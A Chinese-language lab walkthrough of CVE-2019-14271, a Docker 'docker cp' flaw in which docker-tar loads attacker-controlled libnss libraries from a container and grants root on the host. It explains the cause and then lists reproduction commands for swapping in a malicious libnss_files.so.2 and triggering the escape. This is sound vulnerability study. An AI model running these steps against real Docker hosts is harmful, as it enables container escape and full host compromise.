docker cp
命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix cp命令非常相似。要从容器中复制/var/logs
,语法是docker cp container_name:/var/logs /some/host/path
。
在复制的过程中Docker使用了一个名为docker-tar
的帮助进程。docker-tar
是通过chroot到容器,将请求的文件或目录存档,然后将生成的tar文件传递给Docker daemon,然后由daemon提取到主机的目标目录中。
有漏洞的Docker版本是用Go v1.11编译的。在该版本中,一些含有嵌入C代码(cgo)的包会在运行时动态加载共享的库。这些包包括net
和os/user
,都是docker-tar使用的,而且在运行时会加载多个libnss_*.so
库。一般来说,库是从host
文件系统加载的,但因为docker-tar
chroot到了容器,因此会从容器文件系统中加载库。也就是说docker-tar
会加载和执行来源于容器或由容器控制的代码。因此,通过注入代码到docker-tar
,恶意容器就可以获取host主机的完全root访问权限。
可能的攻击场景有Docker用户从另一个Docker处复制文件:
- 容器运行含有恶意
libnss_*.so
库的镜像 - 容器中含有被攻击者替换的
libnss_*.so
库
在这两种情况下,攻击者都可以获取主机上的root代码执行权限。
漏洞环境准备:
./metarget cnv install cve-2019-14271
新建一个容器:
sudo docker run -itd --name=14271 ubuntu bash
将漏洞利用文件拷贝至容器内:
sudo docker cp exp/ 14271:/
sudo docker exec -it 14271 bash #进入容器
ls /exp
breakout libnss_files.so.2 original_libnss_files.so.2
cp /exp/* /
chmod 777 /breakout
touch /logs
删除容器内原来的so库:
rm /lib/x86_64-linux-gnu/libnss_files.so.2
然后替换为修改后的恶意so文件:
mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
替换后退出容器,在宿主机上执行cp命令sudo docker cp 14271:/logs ./
即可完成逃逸(若不成功,可查看breakout文件是否有执行权限)。
进入容器内部,可发现根目录下存在host_fs目录挂载了宿主机的文件系统,成功逃逸。